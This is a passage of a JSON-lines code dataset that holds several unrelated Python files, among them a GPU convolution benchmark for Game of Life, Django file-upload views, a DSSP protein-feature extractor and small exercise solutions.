[0, 1, 2]\n \n def climbStairs(self, n):\n if n < 0 :\n return 0\n if n == 0:\n return 1\n if n < len(self.arr):\n return self.arr[n]\n else:\n self.arr.append( self.climbStairs(n - 1) + self.climbStairs(n - 2) )\n return self.arr[n]\n ","repo_name":"guangyi/Algorithm","sub_path":"climbStairs.py","file_name":"climbStairs.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"8495832784","text":"def naughty_or_nice_list(list, *args, **kwargs):\n nice = []\n naughty = []\n not_found = []\n\n for el in args:\n el = el.split('-')\n number = int(el[0])\n type = el[1]\n kid = ''\n count = 0\n for element in list:\n if element[0] == number:\n count += 1\n kid = element[1]\n if count == 1 and type == \"Nice\":\n nice.append(kid)\n list.pop(list.index((number, kid)))\n elif count == 1 and type == \"Naughty\":\n naughty.append(kid)\n list.pop(list.index((number, kid)))\n\n for key, value in kwargs.items():\n count = 0\n for element in list:\n if element[1] == key:\n count += 1\n if count == 1 and value == \"Nice\":\n nice.append(key)\n list = [x for x in list if x[1] != key]\n elif count == 1 and value == \"Naughty\":\n naughty.append(key)\n list = [x for x in list if x[1] != key]\n\n for name in list:\n not_found.append(name[1])\n result = []\n if nice:\n result.append(f\"Nice: {', '.join(nice)}\")\n if naughty:\n result.append(f\"Naughty: {', '.join(naughty)}\")\n if not_found:\n result.append(f\"Not found: {', '.join(not_found)}\")\n return '\\n'.join(result)\n\n\nprint(naughty_or_nice_list(\n [\n (3, \"Amy\"),\n (1, \"Tom\"),\n (7, \"George\"),\n (3, \"Katy\"),\n ],\n \"3-Nice\",\n \"1-Naughty\",\n Amy=\"Nice\",\n Katy=\"Naughty\",\n))\n\nprint(naughty_or_nice_list(\n [\n (7, \"Peter\"),\n (1, \"Lilly\"),\n (2, \"Peter\"),\n (12, \"Peter\"),\n (3, \"Simon\"),\n ],\n \"3-Nice\",\n \"5-Naughty\",\n \"2-Nice\",\n \"1-Nice\",\n ))\n\nprint(naughty_or_nice_list(\n [\n (6, \"John\"),\n (4, \"Karen\"),\n (2, \"Tim\"),\n (1, \"Merry\"),\n (6, \"Frank\"),\n ],\n \"6-Nice\",\n \"5-Naughty\",\n \"4-Nice\",\n \"3-Naughty\",\n \"2-Nice\",\n \"1-Naughty\",\n Frank=\"Nice\",\n Merry=\"Nice\",\n John=\"Naughty\",\n))\n","repo_name":"nayledz/Python","sub_path":"Python Advanced/Exams/3_naughty_or_nice.py","file_name":"3_naughty_or_nice.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5373525573","text":"# coding=utf-8\n\n\"\"\"\nA collection of convolution algorithms accelerated with\n`NumPy `_, `CuPy `_ and\n`Numba `_. Written for instructive purposes and to\ncomplement the somewhat lacking documentation on how to write `CUDA kernels\n`_\nin CuPy and Numba, and it does so with a motivating/fun application -- and no,\nit's not Convolutional NNs 😒\n\n|\nConvolution is used here to evolve a Game of Life (the prototypical Cellular\nAutomaton model). CAs, which compute the viability of a cell (ie a binary value\nin a 2D grid) based on the values (0 = dead, 1 = alive) of the 8 neighbouring\ncells, naturally benefit from the optimizations used in NumPy's various\nconvolution algorithms.\n\n|\nThere are multiple convolution methods in NumPy/SciPy and each of them can be\nfurther accelerated with CuPy or Numba. So how are we to choose one? This\nmodule aims to provide insights on this question in an easy and (hopefully)\nfun way. Apart from sheer speed, relevant issues that will emerge through\nexperimentation are:\n * Compatibility/universality: not all methods work on all systems. For\n starters, to use the GPU-accelerated versions, you need a working CUDA\n Developer's Toolkit installation. Furthermore, this code is untested on\n Linux-based systems (although it is expected to work).\n * (Not so) subtle issues with array sizes/alignment -- for example there\n seems to be an issue with CuPy's ``RawKernel`` method for arrays whose\n dimensions are not powers of 2. I'm currently investigating this and\n will have something to say about it (a fix and/or explanation) in the\n update.\n * Choice of certain parameters, such as the \"threads per block\" in CUDA\n kernels.\n\n|\nNotes\n=====\n * If you like CAs (who doesn't), check out `my other project\n `_,\n which has a full-fledged GUI that allows you to run, visualize and save\n CAs, among other things.\n * To use CUDA functionality (CuPy, Numba's ``cuda.jit``), you need to\n install the appropriate version of the CUDA Toolkit and CuPy. Head\n over to `CuPy's installation guide\n `_ for details. The\n existing functions have been tested on CUDA 11.0 and 11.1.\n * Since there is no ``requirements.txt`` or ``setup.py``, users should be\n aware that on Windows x64 system, NumPy has to have a version other\n than 1.19.4 -- for the (gory) details of why this is, see `here\n `_.\n\"\"\"\n\n# NumPy\nimport numpy as np\nfrom scipy.ndimage import convolve as conv_np_ndi\nfrom scipy.signal import convolve2d as conv_np_sig_2d\nfrom scipy.ndimage import uniform_filter as uf_np\n\n# CuPy\nimport cupy as cp\nfrom cupyx.scipy.ndimage import uniform_filter as uf_cp, convolve as conv_cp_ndi\nfrom cupyx.scipy.signal import convolve2d as conv_cp_sig_2d\n\n# Numba\nimport numba as nb\nfrom numba import cuda, stencil\n\n# stdlib\nimport sys\nfrom time import perf_counter as t\nfrom functools import partial\nfrom itertools import chain\nfrom math import ceil\nfrom operator import attrgetter, sub, rshift\nimport re\nfrom types import SimpleNamespace as Sns\nfrom collections.abc import Mapping\n\n\ndef default_options():\n \"\"\"\n Get default configuration options (see ``options()``). The *_grades options\n refer to the grid dimensions (shape_grades) and the number of generations\n that the CA (cellular automaton) grid is to evolve for. 'Fast', 'slow' and\n 'mixed' refer to the parameter values used when the functions in the set to\n be compared (determined by the wildcard/regex pattern of function names,\n as shown in ``main()``) are all GPU-accelerated (so CuPy or Numba with\n CUDA support),\n\n :return: A dictionary of default options.\n \"\"\"\n return dict(\n # CA grid shape\n shape_grades=dict(\n fast=(1024*4,)*2,\n mixed=(1024*2,)*2,\n slow=(1024,)*2\n ),\n # number of generations to compute\n gens_grades=dict(\n fast=50,\n mixed=100,\n slow=100\n ),\n int_types=('u1', 'i1'),\n threads_per_block=(8, ) * 2, # CUDA's blockDim\n random_seed=0,\n run_func_prefix='run_ca_'\n )\n\n\n# this is the global (module-level) variable that holds the options\n# (configuration) -- see options() function below\nconv_opts = Sns()\n\n\ndef all_func_speeds(fnames=(), **opts):\n \"\"\"\n Determine whether the functions (passed as function names in ``fnames``)\n to be tested are all fast, all slow or a mix of fast and slow ones.\n\n :param fnames: A tuple of function names.\n :param opts: Additional options.\n :return: A dictionary of options. If `opts` was non-empty, the dictionary\n includes those options, except for the 'fnames' and 'grade' items.\n \"\"\"\n opts['fnames'] = fns = *(\n fn.strip().replace('run_ca_', '')\n for fn in chain(\n fnames,\n opts.get('fnames', ()),\n map(attrgetter('__name__'), opts.get('funcs', ()))\n )\n ),\n fast = *map(partial(re.search, r'(?:^\\s*(cp_\\w*|\\w*cuda))(.*)\\s*$'), fns),\n if fast and all(fast):\n opts['grade'] = 'fast'\n return opts\n slow = map(partial(re.search, r'^\\s*(np_manual|\\w*sten)\\s*$'), fns)\n if any(slow):\n opts['grade'] = 'slow'\n else:\n opts['grade'] = 'mixed'\n return opts\n\n\ndef options(*args, **kw):\n \"\"\"\n Get various options (configuration) as a nested namespace, so that\n something like ``opts.a.b.c`` could be used. Note that the `data` top-level\n attribute contains the initial inputs (starting grids) of the\n :param args: Mappings (dictionaries) that may contain options. Non-mapping\n arguments are silently discarded.\n :param kw: Additional keywords. They override any items of the same name\n present in any of the *args dictionaries.\n :return: A nested namespace of options.\n \"\"\"\n\n # Attribute names for sub-namespaces.\n np_cp_s = 'np', 'cp' # NumPy, CuPy\n tps_s = 'u', 's' # unsigned, signed\n\n o = Sns(**default_options()) # initialize namespace\n\n od = vars(o)\n np_cp = dict(np=np, cp=cp)\n for a in (*args, kw):\n if isinstance(a, Mapping):\n od.update(a)\n\n od.update(all_func_speeds(**od))\n for sg in ('shape', 'gens'):\n if sg not in od:\n od[sg] = od[f'{sg}_grades'][o.grade]\n print('setting', sg, 'to', getattr(o, sg))\n o.h, o.w = o.shape\n\n o.data = Sns(np=Sns(), cp=Sns())\n odd = vars(o.data)\n o.blocks_per_grid = *(\n ceil(tpb / hw) for (tpb, hw) in zip(o.shape, o.threads_per_block)\n ),\n npr = np.random\n npr.seed(o.random_seed)\n init_np = npr.randint(0, 2, o.shape, dtype=o.int_types[0])\n for xp_s in np_cp_s: # for each ('np', 'cp')\n xp = np_cp[xp_s] # actual NumPy or CuPy module\n odxp = vars(odd[xp_s])\n for i, tp_s in enumerate(tps_s): # for each 'u' (unsigned) or 's'\n odxp[tp_s] = data = Sns()\n data.dtype = dtp = xp.dtype(o.int_types[i])\n data.init = xp.array(init_np).astype(dtp)\n data.rng = xp.arange(5, 8).astype(dtp)\n data.isin = xp.isin\n data.ker = ker = xp.full((3, 3), 2-i, dtype=dtp)\n ker[1, 1] = 1\n data.ker_flat = ker.flatten()\n\n data.grid = xp.mgrid[:o.h, :o.w]\n #\n data.ker_idxs = map(\n sub, xp.indices(ker.shape), map(rshift, ker.shape, (1, 1))\n )\n data.idxs = *(\n (\n idx +\n xp.broadcast_to(kidx.flatten(), (o.h, o.w, ker.size)).T\n ) % d\n for (idx, kidx, d) in zip(data.grid, data.ker_idxs, o.shape)\n ),\n\n global conv_opts\n if 'conv_opts' not in globals() or not isinstance(conv_opts, Sns):\n conv_opts = o\n vars(conv_opts).update(od)\n\n return conv_opts\n\n\ndef run_ca_np_manual():\n o = conv_opts.data.np.s\n ker, out, idxs = o.ker_flat, o.init.copy(), o.idxs\n f = lambda: (out[idxs].T @ ker).T\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return out\n\n\ndef run_ca_np_uf():\n out = conv_opts.data.np.s.init.copy()\n f = lambda: uf_np(out*9, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return out\n\n\ndef run_ca_np_ndi_1():\n od = conv_opts.data.np.u\n isin, rng, ker, out = od.isin, od.rng, od.ker, od.init.copy()\n f = lambda: conv_np_ndi(out, ker, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = isin(f(), rng)\n return out\n\n\ndef run_ca_np_ndi_2():\n od = conv_opts.data.np.s\n ker, out = od.ker, od.init.copy()\n f = lambda: conv_np_ndi(out, ker, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return out.astype(conv_opts.data.np.u.dtype)\n\n\ndef run_ca_np_sig_2d_1():\n od = conv_opts.data.np.u\n isin, rng, ker, out = od.isin, od.rng, od.ker, od.init.copy()\n f = lambda: conv_np_sig_2d(out, ker, boundary='wrap', mode='same')\n for i in range(conv_opts.gens):\n out[:, :] = isin(f(), rng)\n return out\n\n\ndef run_ca_np_sig_2d_2():\n od = conv_opts.data.np.s\n ker, out = od.ker, od.init.copy()\n f = lambda: conv_np_sig_2d(out, ker, boundary='wrap', mode='same')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return out.astype(conv_opts.data.np.u.dtype)\n\n\ndef run_ca_cp_sig_2d_1():\n od = conv_opts.data.cp.u\n isin, rng, ker, out = od.isin, od.rng, od.ker, od.init.copy()\n f = lambda: conv_cp_sig_2d(out, ker, boundary='wrap', mode='same')\n for i in range(conv_opts.gens):\n out[:, :] = isin(f(), rng)\n return cp.asnumpy(out)\n\n\ndef run_ca_cp_sig_2d_2():\n od = conv_opts.data.cp.s\n ker, out = od.ker, od.init.copy()\n f = lambda: conv_cp_sig_2d(out, ker, boundary='wrap', mode='same')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return cp.asnumpy(out)\n\n\ndef run_ca_cp_ndi_1():\n od = conv_opts.data.cp.u\n isin, rng, ker, out = od.isin, od.rng, od.ker, od.init.copy()\n f = lambda: conv_cp_ndi(out, ker, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = isin(f(), rng)\n return cp.asnumpy(out)\n\n\ndef run_ca_cp_ndi_2():\n od = conv_opts.data.cp.s\n ker, out = od.ker, od.init.copy()\n f = lambda: conv_cp_ndi(out, ker, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return cp.asnumpy(out)\n\n\ndef run_ca_cp_uf():\n out = conv_opts.data.cp.u.init.copy()\n f = lambda: uf_cp(out*9, mode='wrap')\n for i in range(conv_opts.gens):\n out[:, :] = (f() - 3) >> out == 0\n return cp.asnumpy(out)\n\n\ndef run_ca_cp_raw_ker():\n o = conv_opts\n od = o.data.cp.u\n both = od.init.copy(), od.init.copy()\n h, w = o.shape\n\n cp_ker = cp.RawKernel(\n # kernel header\n fr'''\n #define uchar unsigned char\n #define N size_t({h})\n #define M size_t({w})\n extern \"C\" __global__ void cp_ker_ca(uchar in[N][M], uchar out[N][M])\n '''\n # kernel body\n r'''\n { \n //int h = blockDim.x * gridDim.x;\n //int w = blockDim.y * gridDim.y;\n int i = blockIdx.x * blockDim.x + threadIdx.x; \n int j = blockIdx.y * blockDim.y + threadIdx.y;\n if (i < N && j < M) \n {\n int a, b;\n char v = -3; \n for (a = i-1; a < i+2; ++a)\n for (b = j-1; b < j+2; ++b)\n v += in[a % N][b % M];\n out[i][j] = v >> in[i][j] == 0;\n }\n }\n ''',\n 'cp_ker_ca'\n )\n j = 1\n args = o.blocks_per_grid, o.threads_per_block\n for _ in range(o.gens):\n cp_ker(*args, both[::j])\n j = -j\n return cp.asnumpy(both[::j][0])\n\n# @cp.fuse(kernel_name='cp_ker')\n# def cp_ker(ii, jj):\n# pass\n\n\ndef run_ca_nb_cuda_jit_1():\n \"\"\"\n\n :return:\n \"\"\"\n o = conv_opts\n od = o.data.cp.u\n both = od.init.copy()\n both = both, both.copy()\n h, w = od.init.shape\n\n @cuda.jit\n def conv_numba_cuda_1(in_, out_):\n \"\"\"\n Of all the different kernel variants that I tried (and I tried a LOT)\n this one, with this particular indexing, seems to be the fastest:\n ranging from ii (or jj) to ii+3 is measurably faster than the range\n from ii-1 to to ii+2, even though the former requires the setting of\n the ij variables (in the latter we can just use ii, jj for the final\n indexing where the bitshift is.\n\n Note that the situation is reversed in\n the case of the raw kernel -- there the ii-1-based indexing is\n slightly faster!\n\n As a general rule, writing to memory (even setting simple scalar\n variables) is noticeable faster than skipping precomputing and instead\n redoing modulo etc operations (as is evident in the code below). As\n long as it's not some ridiculously complex operation, repeating them\n is usually faster than storing intermediate results. This seems to be\n especially the case in C/C++ code; Python, on the othe hand, often\n benefits from storing intermediate variables (presumably because it\n reduces stack usage?)\n\n :param in_:\n :param out_:\n \"\"\"\n ii, jj = ij = cuda.grid(2)\n if ii < h and jj < w:\n v = -3\n for i in range(ii-1, ii+2):\n for j in range(jj-1, jj+2):\n v += in_[i % h, j % w]\n out_[ij] = v >> in_[ij] == 0\n\n f = conv_numba_cuda_1[o.blocks_per_grid, o.threads_per_block]\n j = 1\n for _ in range(o.gens):\n f(*both[::j])\n j = -j\n return cp.asnumpy(both[::j][0])\n\n\ndef run_ca_nb_cuda_jit_2():\n \"\"\"\n\n :return: NumPy (not CuPy) array with the last grid of the CA evolution\n \"\"\"\n o = conv_opts\n od = o.data.cp.u\n both = od.init.copy()\n both = both, both.copy()\n h, w = od.init.shape\n #idx = *(np.arange(-1, x+1).astype(cp.int32) % x for x in (h, w)),\n\n idxs = cp.arange(-1, h+1) % h, cp.arange(-1, w+1) % w\n # cool way to construct an mgrid-like thing with a single complex 2darray\n # ca = np.mgrid[-1:2, -1:2].T @ [1, 1.j]\n\n @cuda.jit\n def conv_numba_cuda_2(in_, out_, idx_i, idx_j):\n \"\"\"\n Of all the different kernel variants that I tried (and I tried a LOT)\n this one, with this particular indexing, seems to be the fastest:\n ranging from ii (or jj) to ii+3 is measurably faster than the range\n from ii-1 to to ii+2, even though the former requires the setting of\n the ij variables (in the latter we can just use ii, jj for the final\n indexing where the bitshift is.\n\n Note that the situation is reversed in\n the case of the raw kernel -- there the ii-1-based indexing is\n slightly faster!\n\n As a general rule, writing to memory (even setting simple scalar\n variables) is noticeable faster than skipping precomputing and instead\n redoing modulo etc operations (as is evident in the code below). As\n long as it's not some ridiculously complex operation, repeating them\n is usually faster than storing intermediate results. This seems to be\n especially the case in C/C++ code; Python, on the othe hand, often\n benefits from storing intermediate variables (presumably because it\n reduces stack usage?)\n\n :param in_:\n :param out_:\n :param idx_i:\n :param idx_j:\n \"\"\"\n ii, jj = ij = cuda.grid(2)\n if ii < h and jj < w:\n v = -3\n for i in range(ii, ii+3):\n for j in range(jj, jj+3):\n v += in_[idx_i[i], idx_j[j]]\n out_[ij] = v >> in_[ij] == 0\n\n j = 1\n f = lambda: conv_numba_cuda_2[o.blocks_per_grid, o.threads_per_block](\n *both[::j], *idxs\n )\n for _ in range(o.gens):\n f()\n j = -j\n return cp.asnumpy(both[::j][0])\n\n\ndef run_ca_nb_njit_sten():\n \"\"\"\n TODO: document this HARD -- very counterintuitive!\n\n :return: NumPy (not CuPy) array with the last grid of the CA evolution\n \"\"\"\n o = conv_opts\n data = o.data.np.u\n out1 = data.init.copy()\n\n @stencil(neighborhood=((0, 2), ) * 2)\n def conv_numba_sten(in1):\n \"\"\"\n\n :param in1:\n :return:\n \"\"\"\n v, r = -3, range(3)\n for i in r:\n for j in r:\n v += in1[i, j]\n return v >> in1[1, 1] == 0\n\n for _ in range(o.gens):\n # np.pad(out1, 1, mode='wrap') is equivalent to:\n # out2 = np.pad(out1, 1) # pad regularly (with zeros)\n # out2[1:-1, 1:-1] = out1\n # out2[1:-1, 0] = out1[:, -1]\n # out2[1:-1, -1] = out1[:, 0]\n # out2[0, 1:-1] = out1[-1, :]\n # out2[-1, 1:-1] = out1[0, :]\n # out2[0, 0] = out1[-1, -1]\n # out2[-1, -1] = out1[0, 0]\n # out2[0, -1] = out1[-1, 0]\n # out2[-1, 0] = out1[0, -1]\n out2 = np.pad(out1, 1, mode='wrap')\n conv_numba_sten(out2, out=out1)\n return out1\n\n\n# print results\ndef main(pat='*', print_arrays=False, **opts):\n \"\"\"\n Called when module is run as a script.\n\n :param pat: Wildcard or regular expression pattern. Only functions whose\n names (stripped of the prefix 'run_ca_') match the pattern are included\n in the benchmark. If a pattern contains only alphanumeric/underscore\n and wildcard ('*' and '?') characters only, it is considered a wildcard\n pattern (which is automatically converted to a regular expression).\n :param print_arrays:\n :param opts:\n :return:\n \"\"\"\n\n # if the pattern consists only of alphanumeric characters and/or\n # underscores and/or '*' (wildcard matching zero or more characters)\n # and/or '?' (wildcard matching exactly one character), it is considered\n # a wildcard pattern (which is then converted to a regex pattern) otherwise\n # a regex.\n if re.match(r'^[\\w*?]*$', pat):\n if not pat.startswith('*'):\n pat = '^' + pat\n if not pat.endswith('*'):\n pat += '$'\n pat = pat.replace('*', '.*').replace('?', '.')\n\n print(\n 'Function name regex',\n '-------------------',\n pat,\n end='\\n\\n', sep='\\n'\n )\n\n o = options(opts)\n fn_prefix = o.run_func_prefix\n o.fnames = fnames = *filter(\n partial(re.search, pat),\n (\n fn[len(fn_prefix):]\n for fn in vars(sys.modules[__name__]) if fn.startswith(fn_prefix)\n )\n ),\n\n print(*fnames, '\\nGrade: ' + o.grade, sep='\\n', end='\\n\\n')\n\n gens = o.gens\n n_fn = len(fnames)\n arg = f'({gens})'\n space = len(max(fnames, key=len)) + len(arg)\n\n # grids, call strings (for display purposes), execution times\n arrays, call_str, dts = [], [], []\n for fn in fnames:\n f = eval(fn_prefix + fn)\n t0, arr = t(), f()\n dt = t() - t0\n dts.append(dt)\n arrays.append(cp.asnumpy(arr))\n call_str.append(f'{fn}{arg}'.center(space))\n print(f'{f.__name__}:'.ljust(space+11), f'{dt:.3f} sec')\n\n print()\n\n for i in range(n_fn):\n j = (i+1) % n_fn\n # t0 = t()\n print(\n call_str[i],\n f'{\"!=\"[int(np.array_equal(arrays[i], arrays[j]))]}=',\n call_str[j]\n )\n print()\n # print(f'Compare-arrays dt: {t()-t0:.3f}')\n\n if print_arrays:\n print(conv_opts.data.np.u.init, '\\n=================')\n for a, c in zip(arrays, call_str):\n print(f'{c}\\n{a}\\n=================')\n\n return arrays, call_str\n\n\nif __name__ == '__main__':\n arrays, call_str = main(\n r'cuda|^cp_',\n #r'manual|np_ndi',\n #r'nb*',\n #r'cp.*(ndi|raw)|np_ndi|np_uf',\n #r'np_ndi*',\n print_arrays=False,\n gens=1,\n shape=(1024*2,)*2,\n )\n","repo_name":"GregSotiropoulos/demos","sub_path":"convolutions.py","file_name":"convolutions.py","file_ext":"py","file_size_in_byte":20305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16762148987","text":"#!/usr/bin/env python3.8\nN = int(input())\n\nA = []\nfor i in range(N):\n a = input()\n A.append(a)\n\nfor i in range(N):\n for j in range(N):\n # print('i,j', i,j )\n if i == j:\n continue\n if A[i][j] == 'W':\n if A[j][i] != 'L':\n print('incorrect')\n exit()\n if A[i][j] == 'L':\n if A[j][i] != 'W':\n print('incorrect')\n exit()\n if A[i][j] == 'D':\n if A[j][i] != 'D':\n print('incorrect')\n exit()\nprint('correct')","repo_name":"harukaeru/CompetitiveProgramming","sub_path":"abc261/B/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"74934296057","text":"from parser import Parser\n\nclass PageParser(Parser):\n def parse(self):\n content = self.soup.find_all(id = 'content')[0]\n lines = []\n for l in content.contents:\n if l.name == 'br':\n lines.append('
    ')\n elif not l.name == 'ul':\n l_str = l.string\n if l_str is not None:\n lines.append(str(l.string))\n self.text = ''.join(lines)\n","repo_name":"DengYiping/wenku8scraper","sub_path":"pageparser.py","file_name":"pageparser.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12364335323","text":"# Create your views here.\n\nimport os.path\nimport tasks\nimport time\nfrom models import Image\nfrom django.conf import settings\nfrom django.shortcuts import render, HttpResponseRedirect\nfrom apps.findbestroute.forms import ImageUploadForm\nfrom apps.findbestroute.models import *\nfrom django.shortcuts import render, HttpResponse, HttpResponseRedirect\nfrom apps.findbestroute.models import *\nfrom apps.findbestroute.forms import ImageUploadForm\nimport forms\nfrom tasks import runScript\nimport os\nfrom django.conf import settings\n\n# Create your views here.\n\n\ndef file_exists(some_file):\n my_file = some_file\n destination = settings.MEDIA_ROOT + 'test_files/'\n return True if os.path.isfile(destination + my_file.name) else False\n # returns true if file exists; otherwise false\n# raise fo.ValidationError(\n# 'A file with the name \"' + my_file.name + '\" already exists. Please, rename your file and try again.'\n# )\n\n\ndef index(request):\n return render(request, 'frontpage.html')\n\n\ndef vis_filer(request):\n file_objects = UploadedFile.objects.filter(uploader=request.user)\n files = list()\n for fo in file_objects:\n files.append(fo.file)\n if files is not None:\n return render(request, 'vis_filer.html', {'files': files})\n return render(request, 'vis_filer.html', {'files': None})\n\n\ndef last_opp_filer(request):\n if request.method == 'POST':\n #print('Correct request method...')\n form = forms.MultiUploadForm(request.POST, request.FILES)\n if form.is_valid():\n #print('Form is valid...')\n files = request.FILES.getlist('files')\n jpg_background = request.FILES.getlist('jpg_background')\n\n for j in jpg_background:\n if file_exists(j):\n continue\n k = UploadedFile()\n k.uploader = request.user\n k.file = j\n k.save()\n print('jpg-file saved')\n\n del k\n\n for f in files:\n if file_exists(f):\n continue\n m = UploadedFile()\n m.uploader = request.user\n m.file = f\n m.save()\n print('shape-file saved')\n # One entry in the DB per file\n del m\n # Begin Celery processes\n print('Trying to make best route')\n\n # KJOYR GUTAR WOOOOHOOOOOOOO\n tasks.runScript.delay(request.user.pk)\n #tasks.delete_user_uploads.delay(request.user.pk)\n return HttpResponseRedirect('analyse.html')\n\n form = forms.MultiUploadForm()\n return render(request, 'last_opp_filer.html', {'form': form} )\n\ndef analyse(request):\n return render(request=request, template_name='analyse.html', context=None)\n\n\ndef lastOppBilder(request):\n if request.method == 'POST':\n form = ImageUploadForm(request.POST, request.FILES)\n if form.is_valid():\n m = Image()\n m.uploader = request.user\n m.bilde = form.cleaned_data['bilde']\n m.save()\n # tror ikke dette skal vere her\n # runScript.delay(request.user.pk)\n return HttpResponseRedirect(m.get_absolute_url())\n\n form = ImageUploadForm()\n return render(request, 'bildeopplasting.html', {'form': form})\n\n# data = httpRequest object; data.FILES.getlist('files') --> .shp filer, etc.\n\n\ndef listOppBilder(request):\n# imageModels = Image.objects.all()\n imageModels = Image.objects.all()\n if imageModels.__len__()>0:\n text = \"There exists \"+str(imageModels.__len__())+\" images in database\"\n else:\n text = \"There are no images in the database\"\n\n return render(request, 'list_opp_bilder.html', {'text': text, 'images': imageModels})\n\n\ndef visBilde(request, image_id):\n image = Image.objects.get(pk=image_id)\n return render(request, 'vis_bilde.html', {'Image': image})\n\n\n","repo_name":"TrulsElg/GIB2-prosjekt","sub_path":"apps/findbestroute/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39913617840","text":"#!/usr/bin/env python\n\n\"\"\"\nExtract DSSP features directly from a DSSP output file with this script.\nThe DSSP output file can be attained by running the dssp executable file with\nthe target pdb file as input.\nYou will need both the pdb file and the dssp output file\n\"\"\"\n\nimport os\nimport math\nimport Bio\nfrom Bio.PDB import *\n\n__author__ = \"A.J. Preto\"\n__email__ = \"martinsgomes.jose@gmail.com\"\n__group__ = \"Data-Driven Molecular Design\"\n__group_leader__ = \"Irina S. Moreira\"\n__project__ = \"MENSAdb\"\n\ndef pdb_parser(input_pdb):\n\n \"\"\"\n Parses pdb from .pdb file\n \"\"\"\n parser = PDBParser()\n pdb_name = input_pdb[0:-4]\n structure = parser.get_structure(pdb_name, input_pdb)\n return structure, pdb_name\n\ndef DSSP_gap_dictionary():\n\n \"\"\"\n DSSP files are not easily separable by default character.\n As such, it can be accurately split by space values, which are stated below\n \"\"\"\n dssp_gaps = {\"0\":[0,5], \"1\":[5,10], \"2\":[10,12], \"3\": [12,14], \"4\":[14,22], \"5\":[22,33],\n \"6\":[34,38],\"7\":[38,50], \"8\":[50,61], \"9\":[61,72], \"10\":[72,83], \"11\":[83,91],\n \"12\":[91,97], \"13\":[97,103], \"14\":[103,109], \"15\":[109,115], \"16\":[115,122],\n \"17\":[122,129], \"18\":[129, 136], \"19\":[136, 150]}\n return dssp_gaps\n\ndef round_number(input_number, round_to = 2):\n\n \"\"\"\n Simple function to round a number to \"round_to\"\n decimal houses. Change \"round_to\" to modify the default number of decimal houses\n \"\"\"\n if len(str(input_number)) == 0:\n input_number = 0.0\n return round(float(input_number), round_to)\n\ndef run_for_chain(input_file, input_target_chain, feature_number):\n\n feature_gaps = DSSP_gap_dictionary()\n feature_residues = {}\n residues_count = 0\n useful = False\n to_break = [7,8,9,10]\n for row in input_file:\n if useful == True:\n if row[feature_gaps[\"2\"][0]:feature_gaps[\"2\"][-1]].replace(\" \",\"\") == input_target_chain:\n residues_count = residues_count + 1\n if feature_number in to_break:\n feature_to_store = row[feature_gaps[str(feature_number)][0]:feature_gaps[str(feature_number)][1]].replace(\" \",\"\").split(\",\")\n average_float = (float(feature_to_store[0]) + float(feature_to_store[1])) / float(2)\n feature_value = round_number(average_float)\n feature_residues[residues_count] = feature_value\n else:\n feature_value = round_number(row[feature_gaps[str(feature_number)][0]:feature_gaps[str(feature_number)][1]].replace(\" \",\"\"))\n feature_residues[residues_count] = feature_value\n if row[feature_gaps[\"0\"][0]:feature_gaps[\"0\"][-1]].replace(\" \",\"\") == \"#\":\n useful = True\n return feature_residues\n \n\ndef DSSP_features(input_pdb, feature_number, dssp_termination = \"_dssp.txt\", pdb_chain = None):\n\n \"\"\"\n Retrieves the features 0-13 described bellow, from bioython structure object\n - 0 DSSP index \n - 1 Amino acid number\n - 2 Amino acid code\n - 3 Chain \n - 4 Secondary Structure\n - 5 BP\n - 6 ASA\n - 7 NH-->O_1_relidx \n - 8 O-->NH_1_relidx \n - 9 NH-->O_1_energy \n - 10 O-->NH_1_energy \n - 11 TCO \n - 12 KAPPA \n - 13 Alpha \n - 14 Phi \n - 15 Psi \n - 16 X-CA\n - 17 Y-CA\n - 18 Z-CA\n\n Change the \"dssp_termination\" argument if it does not correspond to your own\n \"\"\"\n structure = pdb_parser(input_pdb)[0]\n dssp_name = \"output/\" + input_pdb[0:-4] + dssp_termination\n opened_file = open(dssp_name, \"r\").readlines()\n chain_SS_sequences = []\n useful = False\n \n output_features = run_for_chain(opened_file, pdb_chain , feature_number)\n return output_features\n\n\n","repo_name":"MoreiraLAB/mensadb-open","sub_path":"dssp_features.py","file_name":"dssp_features.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32486514394","text":"import argparse\nimport os\nimport sys\n\nfrom git import Repo\nfrom semantic_version import Version\n\nfrom git_semver import get_current_version\nfrom git_semver.constants import ERR_NO_VERSION_FOUND, ERR_NOT_A_REPO\n\n\ndef main(args=None):\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--next-patch\", \"-p\", dest=\"modifier\", action=\"store_const\", const=Version.next_patch)\n parser.add_argument(\"--next-minor\", \"-m\", dest=\"modifier\", action=\"store_const\", const=Version.next_minor)\n parser.add_argument(\"--next-major\", \"-M\", dest=\"modifier\", action=\"store_const\", const=Version.next_major)\n\n options = parser.parse_args(sys.argv[1:] if args is None else args)\n\n try:\n repo = Repo(os.getcwd())\n except:\n print(\"fatal: Not a git repository\", file=sys.stderr)\n return ERR_NOT_A_REPO\n\n version = get_current_version(repo)\n if version is None:\n print(\"No version found. Try creating a tag with your initial version, for example:\", 